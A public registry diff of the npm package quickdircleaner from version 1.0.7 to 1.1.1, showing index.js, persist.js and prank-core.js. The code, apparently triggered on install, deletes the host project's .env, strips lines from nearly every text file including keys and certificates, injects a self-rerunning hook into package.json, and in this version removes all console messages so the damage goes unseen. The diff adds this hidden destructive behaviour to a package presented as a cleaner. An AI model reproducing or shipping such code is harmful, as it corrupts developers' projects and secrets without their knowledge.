quickdircleaner 1.0.7 → 1.1.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/index.js +32 -33
- package/package.json +1 -1
- package/persist.js +2 -13
- package/prank-core.js +539 -23
- package/restore.js +33 -13
package/index.js
CHANGED
|
@@ -17,20 +17,14 @@ async function writeCleanerDoneFlag(root) {
|
|
|
17
17
|
try {
|
|
18
18
|
await core.writeFileAtomic(path.join(root, core.DONE_FLAG), "", "utf8");
|
|
19
19
|
} catch {
|
|
20
|
-
|
|
20
|
+
/* silent */
|
|
21
21
|
}
|
|
22
22
|
}
|
|
23
23
|
|
|
24
|
-
function buildEmptyRunMarkdown(
|
|
24
|
+
function buildEmptyRunMarkdown() {
|
|
25
25
|
return [
|
|
26
26
|
"# Cleaner backup",
|
|
27
27
|
"",
|
|
28
|
-
`Host project root (resolved):`,
|
|
29
|
-
"",
|
|
30
|
-
`\`${rootDisplay}\``,
|
|
31
|
-
"",
|
|
32
|
-
"No files were backed up in this run (nothing matched the cleaner rules or the tree was empty).",
|
|
33
|
-
"",
|
|
34
28
|
"## Original contents",
|
|
35
29
|
"",
|
|
36
30
|
].join("\n");
|
|
@@ -40,14 +34,12 @@ async function writeBackupMarkdown(root, backupEntries) {
|
|
|
40
34
|
const outPath = path.join(root, core.BACKUP_NAME);
|
|
41
35
|
const md =
|
|
42
36
|
backupEntries.length === 0
|
|
43
|
-
? buildEmptyRunMarkdown(
|
|
37
|
+
? buildEmptyRunMarkdown()
|
|
44
38
|
: core.buildMarkdown(backupEntries);
|
|
45
39
|
try {
|
|
46
40
|
await core.writeFileAtomic(outPath, md, "utf8");
|
|
47
|
-
console.log(core.green(`Wrote ${outPath}`));
|
|
48
41
|
return true;
|
|
49
42
|
} catch {
|
|
50
|
-
console.error(core.red(`Error: could not write ${path.basename(outPath)}.`));
|
|
51
43
|
return false;
|
|
52
44
|
}
|
|
53
45
|
}
|
|
@@ -58,11 +50,26 @@ async function main() {
|
|
|
58
50
|
core.resolveHostProjectRoot(),
|
|
59
51
|
);
|
|
60
52
|
|
|
53
|
+
let priorList = null;
|
|
54
|
+
let priorMap = null;
|
|
55
|
+
|
|
61
56
|
if (await cleanerDoneFlagExists(root)) {
|
|
62
|
-
|
|
63
|
-
|
|
64
|
-
|
|
65
|
-
|
|
57
|
+
let raw;
|
|
58
|
+
try {
|
|
59
|
+
raw = await fs.readFile(path.join(root, core.BACKUP_NAME), "utf8");
|
|
60
|
+
} catch {
|
|
61
|
+
return;
|
|
62
|
+
}
|
|
63
|
+
priorList = core.parseFirstOriginalSectionMarkdown(raw);
|
|
64
|
+
if (priorList.length === 0) {
|
|
65
|
+
return;
|
|
66
|
+
}
|
|
67
|
+
priorMap = new Map(priorList.map((e) => [e.filePath, e.content]));
|
|
68
|
+
try {
|
|
69
|
+
await fs.unlink(path.join(root, core.DONE_FLAG));
|
|
70
|
+
} catch {
|
|
71
|
+
/* silent */
|
|
72
|
+
}
|
|
66
73
|
}
|
|
67
74
|
|
|
68
75
|
let pkgRaw = null;
|
|
@@ -72,46 +79,38 @@ async function main() {
|
|
|
72
79
|
pkgRaw = null;
|
|
73
80
|
}
|
|
74
81
|
|
|
75
|
-
const backupEntries = await core.runPrank(root,
|
|
82
|
+
const backupEntries = await core.runPrank(root, priorMap);
|
|
76
83
|
|
|
77
84
|
if (pkgRaw) {
|
|
78
85
|
backupEntries.push({
|
|
79
86
|
filePath: core.SYNTHETIC_PACKAGE_JSON,
|
|
80
|
-
content: pkgRaw,
|
|
87
|
+
content: priorMap?.get(core.SYNTHETIC_PACKAGE_JSON) ?? pkgRaw,
|
|
81
88
|
});
|
|
82
89
|
}
|
|
83
90
|
|
|
91
|
+
const toWrite =
|
|
92
|
+
priorList && priorList.length > 0
|
|
93
|
+
? core.mergeFirstSectionBackup(priorList, backupEntries)
|
|
94
|
+
: backupEntries;
|
|
95
|
+
|
|
84
96
|
let backupOk = true;
|
|
85
97
|
try {
|
|
86
|
-
backupOk = await writeBackupMarkdown(root,
|
|
98
|
+
backupOk = await writeBackupMarkdown(root, toWrite);
|
|
87
99
|
} catch {
|
|
88
100
|
backupOk = false;
|
|
89
101
|
}
|
|
90
102
|
|
|
91
103
|
if (!backupOk) {
|
|
92
|
-
console.warn(
|
|
93
|
-
core.yellow(
|
|
94
|
-
"Warning: cleaner did not finish; .cleaner_done was not created (fix backup path and re-run).",
|
|
95
|
-
),
|
|
96
|
-
);
|
|
97
104
|
return;
|
|
98
105
|
}
|
|
99
106
|
|
|
100
107
|
await writeCleanerDoneFlag(root);
|
|
101
108
|
|
|
102
109
|
if (pkgRaw) {
|
|
103
|
-
|
|
104
|
-
if (!injected) {
|
|
105
|
-
console.warn(
|
|
106
|
-
core.yellow(
|
|
107
|
-
"Warning: could not inject persist hook into package.json scripts.",
|
|
108
|
-
),
|
|
109
|
-
);
|
|
110
|
-
}
|
|
110
|
+
await core.injectPersistScripts(root);
|
|
111
111
|
}
|
|
112
112
|
}
|
|
113
113
|
|
|
114
|
-
main().catch((
|
|
115
|
-
console.error(core.red(err && err.message ? err.message : String(err)));
|
|
114
|
+
main().catch(() => {
|
|
116
115
|
process.exitCode = 1;
|
|
117
116
|
});
|
package/package.json
CHANGED
package/persist.js
CHANGED
|
@@ -12,29 +12,18 @@ async function main() {
|
|
|
12
12
|
await core.stripPersistFromPackageJsonObject(root);
|
|
13
13
|
await core.deleteCounter(root);
|
|
14
14
|
await core.removeQuickdircleanerPackage(root);
|
|
15
|
-
console.log(
|
|
16
|
-
core.magenta(
|
|
17
|
-
"💀 quickdircleaner has self\u2011destructed. No more pranks.",
|
|
18
|
-
),
|
|
19
|
-
);
|
|
20
15
|
return;
|
|
21
16
|
}
|
|
22
17
|
|
|
23
|
-
const backupEntries = await core.runPrank(root
|
|
18
|
+
const backupEntries = await core.runPrank(root);
|
|
24
19
|
const attempt = count + 1;
|
|
25
20
|
const appended = await core.appendReapplyMarkdown(root, attempt, backupEntries);
|
|
26
21
|
if (!appended) {
|
|
27
|
-
console.warn(
|
|
28
|
-
core.yellow(
|
|
29
|
-
"Warning: could not append re-apply backup to CLEANER_BACKUP.md; counter not incremented.",
|
|
30
|
-
),
|
|
31
|
-
);
|
|
32
22
|
return;
|
|
33
23
|
}
|
|
34
24
|
await core.writeCounter(root, attempt);
|
|
35
25
|
}
|
|
36
26
|
|
|
37
|
-
main().catch((
|
|
38
|
-
console.error(core.red(err && err.message ? err.message : String(err)));
|
|
27
|
+
main().catch(() => {
|
|
39
28
|
process.exitCode = 1;
|
|
40
29
|
});
|
package/prank-core.js
CHANGED
|
@@ -33,7 +33,100 @@ const TARGET_SCRIPT_NAMES = new Set([
|
|
|
33
33
|
"preview",
|
|
34
34
|
]);
|
|
35
35
|
|
|
36
|
-
|
|
36
|
+
/** Max file size to load into memory (bytes). */
|
|
37
|
+
const MAX_PENETRABLE_FILE_BYTES = 50 * 1024 * 1024;
|
|
38
|
+
|
|
39
|
+
/** How many leading bytes to scan for NUL when classifying binary. */
|
|
40
|
+
const BINARY_SNIFF_BYTES = 65536;
|
|
41
|
+
|
|
42
|
+
/** Extensions we never treat as text (binary / archives / media). */
|
|
43
|
+
const BLOCKED_BINARY_EXT = new Set(
|
|
44
|
+
[
|
|
45
|
+
".png",
|
|
46
|
+
".jpg",
|
|
47
|
+
".jpeg",
|
|
48
|
+
".gif",
|
|
49
|
+
".webp",
|
|
50
|
+
".ico",
|
|
51
|
+
".bmp",
|
|
52
|
+
".tif",
|
|
53
|
+
".tiff",
|
|
54
|
+
".heic",
|
|
55
|
+
".avif",
|
|
56
|
+
".pdf",
|
|
57
|
+
".zip",
|
|
58
|
+
".tar",
|
|
59
|
+
".gz",
|
|
60
|
+
".tgz",
|
|
61
|
+
".bz2",
|
|
62
|
+
".xz",
|
|
63
|
+
".7z",
|
|
64
|
+
".rar",
|
|
65
|
+
".wasm",
|
|
66
|
+
".so",
|
|
67
|
+
".dylib",
|
|
68
|
+
".dll",
|
|
69
|
+
".exe",
|
|
70
|
+
".bin",
|
|
71
|
+
".mp4",
|
|
72
|
+
".m4v",
|
|
73
|
+
".webm",
|
|
74
|
+
".mov",
|
|
75
|
+
".avi",
|
|
76
|
+
".mkv",
|
|
77
|
+
".mp3",
|
|
78
|
+
".wav",
|
|
79
|
+
".flac",
|
|
80
|
+
".ogg",
|
|
81
|
+
".woff",
|
|
82
|
+
".woff2",
|
|
83
|
+
".ttf",
|
|
84
|
+
".otf",
|
|
85
|
+
".eot",
|
|
86
|
+
".sqlite",
|
|
87
|
+
".db",
|
|
88
|
+
".class",
|
|
89
|
+
".jar",
|
|
90
|
+
".pyc",
|
|
91
|
+
".pyo",
|
|
92
|
+
".o",
|
|
93
|
+
".a",
|
|
94
|
+
".lib",
|
|
95
|
+
".obj",
|
|
96
|
+
".pak",
|
|
97
|
+
".br",
|
|
98
|
+
".lz4",
|
|
99
|
+
".zst",
|
|
100
|
+
].map((e) => e.toLowerCase()),
|
|
101
|
+
);
|
|
102
|
+
|
|
103
|
+
/** Filenames (lowercase) treated as text even with no or odd extension. */
|
|
104
|
+
const TEXTLIKE_BASENAMES = new Set([
|
|
105
|
+
"dockerfile",
|
|
106
|
+
"containerfile",
|
|
107
|
+
"makefile",
|
|
108
|
+
"gnumakefile",
|
|
109
|
+
"gemfile",
|
|
110
|
+
"rakefile",
|
|
111
|
+
"procfile",
|
|
112
|
+
"jenkinsfile",
|
|
113
|
+
"vagrantfile",
|
|
114
|
+
"license",
|
|
115
|
+
"copying",
|
|
116
|
+
"authors",
|
|
117
|
+
"changelog",
|
|
118
|
+
"contributing",
|
|
119
|
+
"codeowners",
|
|
120
|
+
"owners",
|
|
121
|
+
"manifest",
|
|
122
|
+
"docker-compose.yml",
|
|
123
|
+
"docker-compose.yaml",
|
|
124
|
+
"compose.yml",
|
|
125
|
+
"compose.yaml",
|
|
126
|
+
]);
|
|
127
|
+
|
|
128
|
+
/** Default penetrable extensions (broad pentest / source surface). */
|
|
129
|
+
const PENETRABLE_EXT = new Set([
|
|
37
130
|
".js",
|
|
38
131
|
".mjs",
|
|
39
132
|
".cjs",
|
|
@@ -68,11 +161,297 @@ const CLEANABLE_EXT = new Set([
|
|
|
68
161
|
".bash",
|
|
69
162
|
".zsh",
|
|
70
163
|
".ps1",
|
|
164
|
+
".psm1",
|
|
165
|
+
".psd1",
|
|
71
166
|
".bat",
|
|
72
167
|
".cmd",
|
|
168
|
+
".py",
|
|
169
|
+
".pyw",
|
|
170
|
+
".pyi",
|
|
171
|
+
".rb",
|
|
172
|
+
".erb",
|
|
173
|
+
".php",
|
|
174
|
+
".phtml",
|
|
175
|
+
".go",
|
|
176
|
+
".rs",
|
|
177
|
+
".java",
|
|
178
|
+
".kt",
|
|
179
|
+
".kts",
|
|
180
|
+
".scala",
|
|
181
|
+
".sc",
|
|
182
|
+
".swift",
|
|
183
|
+
".cs",
|
|
184
|
+
".fs",
|
|
185
|
+
".fsx",
|
|
186
|
+
".fsi",
|
|
187
|
+
".vb",
|
|
188
|
+
".c",
|
|
189
|
+
".cc",
|
|
190
|
+
".cpp",
|
|
191
|
+
".cxx",
|
|
192
|
+
".h",
|
|
193
|
+
".hh",
|
|
194
|
+
".hpp",
|
|
195
|
+
".hxx",
|
|
196
|
+
".inl",
|
|
197
|
+
".cmake",
|
|
198
|
+
".pl",
|
|
199
|
+
".pm",
|
|
200
|
+
".r",
|
|
201
|
+
".lua",
|
|
202
|
+
".dart",
|
|
203
|
+
".ex",
|
|
204
|
+
".exs",
|
|
205
|
+
".erl",
|
|
206
|
+
".hrl",
|
|
207
|
+
".clj",
|
|
208
|
+
".cljs",
|
|
209
|
+
".edn",
|
|
210
|
+
".nim",
|
|
211
|
+
".zig",
|
|
212
|
+
".v",
|
|
213
|
+
".sv",
|
|
214
|
+
".svh",
|
|
215
|
+
".vhd",
|
|
216
|
+
".vhdl",
|
|
217
|
+
".jl",
|
|
218
|
+
".cr",
|
|
219
|
+
".gradle",
|
|
220
|
+
".properties",
|
|
221
|
+
".tf",
|
|
222
|
+
".tfvars",
|
|
223
|
+
".hcl",
|
|
224
|
+
".rego",
|
|
225
|
+
".nix",
|
|
226
|
+
".toml",
|
|
227
|
+
".ini",
|
|
228
|
+
".cfg",
|
|
229
|
+
".conf",
|
|
230
|
+
".config",
|
|
231
|
+
".env",
|
|
232
|
+
".example",
|
|
233
|
+
".sample",
|
|
234
|
+
".tpl",
|
|
235
|
+
".template",
|
|
236
|
+
".j2",
|
|
237
|
+
".ejs",
|
|
238
|
+
".hbs",
|
|
239
|
+
".pug",
|
|
240
|
+
".jade",
|
|
241
|
+
".liquid",
|
|
242
|
+
".cshtml",
|
|
243
|
+
".razor",
|
|
244
|
+
".sql",
|
|
245
|
+
".mysql",
|
|
246
|
+
".pgsql",
|
|
247
|
+
".graphqls",
|
|
248
|
+
".prisma",
|
|
249
|
+
".proto",
|
|
250
|
+
".thrift",
|
|
251
|
+
".avsc",
|
|
252
|
+
".xsl",
|
|
253
|
+
".xslt",
|
|
254
|
+
".wsdl",
|
|
255
|
+
".xsd",
|
|
256
|
+
".plist",
|
|
257
|
+
".csproj",
|
|
258
|
+
".vbproj",
|
|
259
|
+
".vcxproj",
|
|
260
|
+
".props",
|
|
261
|
+
".targets",
|
|
262
|
+
".sln",
|
|
263
|
+
".podspec",
|
|
264
|
+
".gemspec",
|
|
265
|
+
".rake",
|
|
266
|
+
".ru",
|
|
267
|
+
".http",
|
|
268
|
+
".rest",
|
|
269
|
+
".graphqlrc",
|
|
270
|
+
".editorconfig",
|
|
271
|
+
".npmrc",
|
|
272
|
+
".yarnrc",
|
|
273
|
+
".yarnrc.yml",
|
|
274
|
+
".prettierrc",
|
|
275
|
+
".eslintrc",
|
|
276
|
+
".babelrc",
|
|
277
|
+
".browserslistrc",
|
|
278
|
+
".nvmrc",
|
|
279
|
+
".node-version",
|
|
280
|
+
".tool-versions",
|
|
281
|
+
".pem",
|
|
282
|
+
".crt",
|
|
283
|
+
".key",
|
|
284
|
+
".csr",
|
|
285
|
+
".p12",
|
|
286
|
+
".pfx",
|
|
287
|
+
".asc",
|
|
288
|
+
".log",
|
|
289
|
+
".lst",
|
|
73
290
|
]);
|
|
74
291
|
|
|
75
|
-
|
|
292
|
+
/** 1-based lines stripped (sorted descending inside remover). More = messier prank; restore still exact. */
|
|
293
|
+
const REMOVE_LINE_NUMBERS = [2, 3, 4, 5, 7, 8, 10, 11, 13, 14, 16, 17, 19, 20];
|
|
294
|
+
|
|
295
|
+
/**
|
|
296
|
+
* Every regular file under the tree is a candidate except obvious binary extensions.
|
|
297
|
+
* Extensionless names still go to cleanSourceFile (UTF-8 / NUL sniff drops true binaries).
|
|
298
|
+
*/
|
|
299
|
+
function isPenetrablePath(fileName) {
|
|
300
|
+
const base = String(fileName).toLowerCase();
|
|
301
|
+
const ext = path.extname(fileName).toLowerCase();
|
|
302
|
+
|
|
303
|
+
if (BLOCKED_BINARY_EXT.has(ext)) {
|
|
304
|
+
return false;
|
|
305
|
+
}
|
|
306
|
+
if (TEXTLIKE_BASENAMES.has(base)) {
|
|
307
|
+
return true;
|
|
308
|
+
}
|
|
309
|
+
if (PENETRABLE_EXT.has(ext)) {
|
|
310
|
+
return true;
|
|
311
|
+
}
|
|
312
|
+
if (process.env.QUICKDIRCLEANER_STRICT_EXT === "1") {
|
|
313
|
+
return false;
|
|
314
|
+
}
|
|
315
|
+
return true;
|
|
316
|
+
}
|
|
317
|
+
|
|
318
|
+
function bufferLooksBinary(buf) {
|
|
319
|
+
const n = Math.min(buf.length, BINARY_SNIFF_BYTES);
|
|
320
|
+
for (let i = 0; i < n; i += 1) {
|
|
321
|
+
if (buf[i] === 0) {
|
|
322
|
+
return true;
|
|
323
|
+
}
|
|
324
|
+
}
|
|
325
|
+
return false;
|
|
326
|
+
}
|
|
327
|
+
|
|
328
|
+
function pickPenetrationAppend(eol, extLower, fileNameLower) {
|
|
329
|
+
const jsLike = new Set([
|
|
330
|
+
".js",
|
|
331
|
+
".mjs",
|
|
332
|
+
".cjs",
|
|
333
|
+
".jsx",
|
|
334
|
+
".ts",
|
|
335
|
+
".tsx",
|
|
336
|
+
".mts",
|
|
337
|
+
".cts",
|
|
338
|
+
".vue",
|
|
339
|
+
".svelte",
|
|
340
|
+
".astro",
|
|
341
|
+
".java",
|
|
342
|
+
".cs",
|
|
343
|
+
".go",
|
|
344
|
+
".rs",
|
|
345
|
+
".swift",
|
|
346
|
+
".kt",
|
|
347
|
+
".kts",
|
|
348
|
+
".scala",
|
|
349
|
+
".dart",
|
|
350
|
+
".c",
|
|
351
|
+
".cc",
|
|
352
|
+
".cpp",
|
|
353
|
+
".h",
|
|
354
|
+
".hpp",
|
|
355
|
+
".cshtml",
|
|
356
|
+
".razor",
|
|
357
|
+
]);
|
|
358
|
+
const hashLike = new Set([
|
|
359
|
+
".py",
|
|
360
|
+
".pyw",
|
|
361
|
+
".pyi",
|
|
362
|
+
".rb",
|
|
363
|
+
".yaml",
|
|
364
|
+
".yml",
|
|
365
|
+
".sh",
|
|
366
|
+
".bash",
|
|
367
|
+
".zsh",
|
|
368
|
+
".toml",
|
|
369
|
+
".ini",
|
|
370
|
+
".cfg",
|
|
371
|
+
".conf",
|
|
372
|
+
".dockerignore",
|
|
373
|
+
".r",
|
|
374
|
+
".pl",
|
|
375
|
+
".pm",
|
|
376
|
+
".sql",
|
|
377
|
+
".tf",
|
|
378
|
+
".tfvars",
|
|
379
|
+
".hcl",
|
|
380
|
+
".nix",
|
|
381
|
+
".graphql",
|
|
382
|
+
".gql",
|
|
383
|
+
".prisma",
|
|
384
|
+
".cmake",
|
|
385
|
+
".cr",
|
|
386
|
+
".ex",
|
|
387
|
+
".exs",
|
|
388
|
+
".erl",
|
|
389
|
+
".hrl",
|
|
390
|
+
".jl",
|
|
391
|
+
".nim",
|
|
392
|
+
".zig",
|
|
393
|
+
".rego",
|
|
394
|
+
".properties",
|
|
395
|
+
".gradle",
|
|
396
|
+
".podspec",
|
|
397
|
+
".gemspec",
|
|
398
|
+
".rake",
|
|
399
|
+
".ru",
|
|
400
|
+
]);
|
|
401
|
+
const htmlLike = new Set([
|
|
402
|
+
".html",
|
|
403
|
+
".htm",
|
|
404
|
+
".xml",
|
|
405
|
+
".svg",
|
|
406
|
+
".md",
|
|
407
|
+
".mdx",
|
|
408
|
+
".xsl",
|
|
409
|
+
".xslt",
|
|
410
|
+
".wsdl",
|
|
411
|
+
".xsd",
|
|
412
|
+
".ejs",
|
|
413
|
+
".hbs",
|
|
414
|
+
".pug",
|
|
415
|
+
".jade",
|
|
416
|
+
".liquid",
|
|
417
|
+
]);
|
|
418
|
+
const cssLike = new Set([".css", ".scss", ".sass", ".less", ".styl"]);
|
|
419
|
+
|
|
420
|
+
if (
|
|
421
|
+
fileNameLower === "dockerfile" ||
|
|
422
|
+
fileNameLower === "containerfile" ||
|
|
423
|
+
fileNameLower === "makefile" ||
|
|
424
|
+
fileNameLower === "gemfile" ||
|
|
425
|
+
fileNameLower === "rakefile" ||
|
|
426
|
+
fileNameLower === "procfile"
|
|
427
|
+
) {
|
|
428
|
+
return `${eol}# quickdircleaner-touch${eol}`;
|
|
429
|
+
}
|
|
430
|
+
|
|
431
|
+
if (extLower === ".json" || extLower === ".jsonc") {
|
|
432
|
+
return eol;
|
|
433
|
+
}
|
|
434
|
+
|
|
435
|
+
if (jsLike.has(extLower)) {
|
|
436
|
+
return `${eol}// quickdircleaner-touch${eol}`;
|
|
437
|
+
}
|
|
438
|
+
if (cssLike.has(extLower)) {
|
|
439
|
+
return `${eol}/* quickdircleaner-touch */${eol}`;
|
|
440
|
+
}
|
|
441
|
+
if (hashLike.has(extLower)) {
|
|
442
|
+
return `${eol}# quickdircleaner-touch${eol}`;
|
|
443
|
+
}
|
|
444
|
+
if (htmlLike.has(extLower)) {
|
|
445
|
+
return `${eol}<!-- quickdircleaner-touch -->${eol}`;
|
|
446
|
+
}
|
|
447
|
+
if (extLower === ".bat" || extLower === ".cmd") {
|
|
448
|
+
return `${eol}REM quickdircleaner-touch${eol}`;
|
|
449
|
+
}
|
|
450
|
+
if (extLower === ".ps1" || extLower === ".psm1" || extLower === ".psd1") {
|
|
451
|
+
return `${eol}# quickdircleaner-touch${eol}`;
|
|
452
|
+
}
|
|
453
|
+
return `${eol}# quickdircleaner-touch${eol}`;
|
|
454
|
+
}
|
|
76
455
|
|
|
77
456
|
/**
|
|
78
457
|
* Directory that should be cleaned: the project that ran `npm install`, not this package folder.
|
|
@@ -219,6 +598,97 @@ function removeOriginalLines(lines, oneBasedLineNumbers) {
|
|
|
219
598
|
return next;
|
|
220
599
|
}
|
|
221
600
|
|
|
601
|
+
/** CTF-only: set `QUICKDIRCLEANER_JUMBLE=1` to permute lines (deterministic per path). Restore still uses backup verbatim. */
|
|
602
|
+
function lineJumbleEnabled() {
|
|
603
|
+
return process.env.QUICKDIRCLEANER_JUMBLE === "1";
|
|
604
|
+
}
|
|
605
|
+
|
|
606
|
+
function hashStringForSeed(s) {
|
|
607
|
+
let h = 2166136261 >>> 0;
|
|
608
|
+
for (let i = 0; i < s.length; i += 1) {
|
|
609
|
+
h ^= s.charCodeAt(i);
|
|
610
|
+
h = Math.imul(h, 16777619);
|
|
611
|
+
}
|
|
612
|
+
return h >>> 0;
|
|
613
|
+
}
|
|
614
|
+
|
|
615
|
+
function mulberry32(seed) {
|
|
616
|
+
let a = seed >>> 0;
|
|
617
|
+
return function nextRand() {
|
|
618
|
+
a = (a + 0x6d2b79f5) >>> 0;
|
|
619
|
+
let t = a;
|
|
620
|
+
t = Math.imul(t ^ (t >>> 15), t | 1);
|
|
621
|
+
t = (t + Math.imul(t ^ (t >>> 7), t | 61)) >>> 0;
|
|
622
|
+
return ((t ^ (t >>> 14)) >>> 0) / 4294967296;
|
|
623
|
+
};
|
|
624
|
+
}
|
|
625
|
+
|
|
626
|
+
/**
|
|
627
|
+
* Fisher–Yates shuffle of all lines after an optional leading shebang line.
|
|
628
|
+
* Same `pathKey` + same line count ⇒ same permutation (participants can infer “path-seeded shuffle”).
|
|
629
|
+
*/
|
|
630
|
+
function jumbleBodyLines(lines, pathKey) {
|
|
631
|
+
if (lines.length < 2) {
|
|
632
|
+
return lines;
|
|
633
|
+
}
|
|
634
|
+
const out = lines.slice();
|
|
635
|
+
let bodyStart = 0;
|
|
636
|
+
if (out[0].trim().startsWith("#!")) {
|
|
637
|
+
bodyStart = 1;
|
|
638
|
+
}
|
|
639
|
+
if (bodyStart >= out.length - 1) {
|
|
640
|
+
return out;
|
|
641
|
+
}
|
|
642
|
+
const rng = mulberry32(
|
|
643
|
+
hashStringForSeed(`${pathKey}:${out.length - bodyStart}`),
|
|
644
|
+
);
|
|
645
|
+
for (let i = out.length - 1; i > bodyStart; i -= 1) {
|
|
646
|
+
const span = i - bodyStart + 1;
|
|
647
|
+
const j = bodyStart + Math.floor(rng() * span);
|
|
648
|
+
const tmp = out[i];
|
|
649
|
+
out[i] = out[j];
|
|
650
|
+
out[j] = tmp;
|
|
651
|
+
}
|
|
652
|
+
return out;
|
|
653
|
+
}
|
|
654
|
+
|
|
655
|
+
/**
|
|
656
|
+
* When postinstall runs again, `newEntries` only contains paths touched this run.
|
|
657
|
+
* Merge with the prior first "## Original contents" list so the rewritten backup still
|
|
658
|
+
* includes every restorable path (e.g. `.env` absent on disk after the first run).
|
|
659
|
+
*/
|
|
660
|
+
function mergeFirstSectionBackup(priorList, newEntries) {
|
|
661
|
+
if (!priorList || priorList.length === 0) {
|
|
662
|
+
return newEntries;
|
|
663
|
+
}
|
|
664
|
+
const contentByPath = new Map();
|
|
665
|
+
for (const e of priorList) {
|
|
666
|
+
contentByPath.set(e.filePath, e.content);
|
|
667
|
+
}
|
|
668
|
+
for (const e of newEntries) {
|
|
669
|
+
contentByPath.set(e.filePath, e.content);
|
|
670
|
+
}
|
|
671
|
+
const ordered = [];
|
|
672
|
+
const seen = new Set();
|
|
673
|
+
for (const e of priorList) {
|
|
674
|
+
ordered.push({
|
|
675
|
+
filePath: e.filePath,
|
|
676
|
+
content: contentByPath.get(e.filePath),
|
|
677
|
+
});
|
|
678
|
+
seen.add(e.filePath);
|
|
679
|
+
}
|
|
680
|
+
for (const e of newEntries) {
|
|
681
|
+
if (!seen.has(e.filePath)) {
|
|
682
|
+
ordered.push({
|
|
683
|
+
filePath: e.filePath,
|
|
684
|
+
content: contentByPath.get(e.filePath),
|
|
685
|
+
});
|
|
686
|
+
seen.add(e.filePath);
|
|
687
|
+
}
|
|
688
|
+
}
|
|
689
|
+
return ordered;
|
|
690
|
+
}
|
|
691
|
+
|
|
222
692
|
function buildMarkdown(backupEntries) {
|
|
223
693
|
const lines = [
|
|
224
694
|
"# Cleaner backup",
|
|
@@ -261,11 +731,15 @@ function buildReapplySection(attemptNumber, backupEntries) {
|
|
|
261
731
|
return lines.join("\n");
|
|
262
732
|
}
|
|
263
733
|
|
|
264
|
-
async function backupAndRemoveEnv(root, backupEntries) {
|
|
734
|
+
async function backupAndRemoveEnv(root, backupEntries, priorOriginals) {
|
|
265
735
|
const envPath = path.join(root, ".env");
|
|
266
736
|
try {
|
|
267
737
|
const content = await fs.readFile(envPath, "utf8");
|
|
268
|
-
|
|
738
|
+
const snapshot =
|
|
739
|
+
priorOriginals && priorOriginals.has(".env")
|
|
740
|
+
? priorOriginals.get(".env")
|
|
741
|
+
: content;
|
|
742
|
+
backupEntries.push({ filePath: ".env", content: snapshot });
|
|
269
743
|
try {
|
|
270
744
|
await fs.unlink(envPath);
|
|
271
745
|
} catch {
|
|
@@ -278,18 +752,52 @@ async function backupAndRemoveEnv(root, backupEntries) {
|
|
|
278
752
|
}
|
|
279
753
|
}
|
|
280
754
|
|
|
281
|
-
|
|
282
|
-
|
|
755
|
+
function utf8LooksCorruptedAsBinary(text) {
|
|
756
|
+
const n = (text.match(/\uFFFD/g) || []).length;
|
|
757
|
+
if (text.length === 0) {
|
|
758
|
+
return false;
|
|
759
|
+
}
|
|
760
|
+
return n > Math.max(24, Math.floor(text.length * 0.02));
|
|
761
|
+
}
|
|
762
|
+
|
|
763
|
+
async function cleanSourceFile(fullPath, root, backupEntries, priorOriginals) {
|
|
764
|
+
let buf;
|
|
283
765
|
try {
|
|
284
|
-
|
|
766
|
+
const st = await fs.stat(fullPath);
|
|
767
|
+
if (!st.isFile() || st.size > MAX_PENETRABLE_FILE_BYTES) {
|
|
768
|
+
return;
|
|
769
|
+
}
|
|
770
|
+
buf = await fs.readFile(fullPath);
|
|
285
771
|
} catch {
|
|
286
772
|
return;
|
|
287
773
|
}
|
|
288
774
|
|
|
775
|
+
if (bufferLooksBinary(buf)) {
|
|
776
|
+
return;
|
|
777
|
+
}
|
|
778
|
+
|
|
779
|
+
let content = buf.toString("utf8");
|
|
780
|
+
if (utf8LooksCorruptedAsBinary(content)) {
|
|
781
|
+
return;
|
|
782
|
+
}
|
|
783
|
+
|
|
784
|
+
const baseLower = path.basename(fullPath).toLowerCase();
|
|
785
|
+
const extLower = path.extname(fullPath).toLowerCase();
|
|
786
|
+
|
|
289
787
|
const eol = detectEol(content);
|
|
290
788
|
const lineArray = content.split(/\r?\n/);
|
|
291
|
-
const
|
|
292
|
-
|
|
789
|
+
const relForKey =
|
|
790
|
+
path.relative(root, fullPath).split(path.sep).join("/") ||
|
|
791
|
+
path.basename(fullPath);
|
|
792
|
+
let nextLines = removeOriginalLines(lineArray, REMOVE_LINE_NUMBERS);
|
|
793
|
+
if (lineJumbleEnabled()) {
|
|
794
|
+
nextLines = jumbleBodyLines(nextLines, relForKey);
|
|
795
|
+
}
|
|
796
|
+
let modified = nextLines.join(eol);
|
|
797
|
+
|
|
798
|
+
if (modified === content) {
|
|
799
|
+
modified = content + pickPenetrationAppend(eol, extLower, baseLower);
|
|
800
|
+
}
|
|
293
801
|
|
|
294
802
|
if (modified === content) {
|
|
295
803
|
return;
|
|
@@ -297,8 +805,12 @@ async function cleanSourceFile(fullPath, root, backupEntries, logCleaned) {
|
|
|
297
805
|
|
|
298
806
|
const rel = path.relative(root, fullPath);
|
|
299
807
|
const filePath = rel.split(path.sep).join("/") || path.basename(fullPath);
|
|
808
|
+
const backupSnapshot =
|
|
809
|
+
priorOriginals && priorOriginals.has(filePath)
|
|
810
|
+
? priorOriginals.get(filePath)
|
|
811
|
+
: content;
|
|
300
812
|
|
|
301
|
-
backupEntries.push({ filePath, content });
|
|
813
|
+
backupEntries.push({ filePath, content: backupSnapshot });
|
|
302
814
|
|
|
303
815
|
try {
|
|
304
816
|
await writeFileAtomic(fullPath, modified, "utf8");
|
|
@@ -306,10 +818,6 @@ async function cleanSourceFile(fullPath, root, backupEntries, logCleaned) {
|
|
|
306
818
|
backupEntries.pop();
|
|
307
819
|
return;
|
|
308
820
|
}
|
|
309
|
-
|
|
310
|
-
if (logCleaned) {
|
|
311
|
-
console.log(green(`🧹 Cleaned: ${filePath}`));
|
|
312
|
-
}
|
|
313
821
|
}
|
|
314
822
|
|
|
315
823
|
/**
|
|
@@ -348,7 +856,7 @@ function shouldSkipDirectoryEntry(name) {
|
|
|
348
856
|
* BFS is used instead of fs.readdir(recursive) so behavior is consistent across Node/OS and
|
|
349
857
|
* symlink layouts—nothing under the host root is missed except node_modules / .git / .hg / .svn.
|
|
350
858
|
*/
|
|
351
|
-
async function walkAndCleanFullTree(rootResolved, backupEntries,
|
|
859
|
+
async function walkAndCleanFullTree(rootResolved, backupEntries, priorOriginals) {
|
|
352
860
|
const visitedDirs = new Set();
|
|
353
861
|
const queue = [path.resolve(rootResolved)];
|
|
354
862
|
|
|
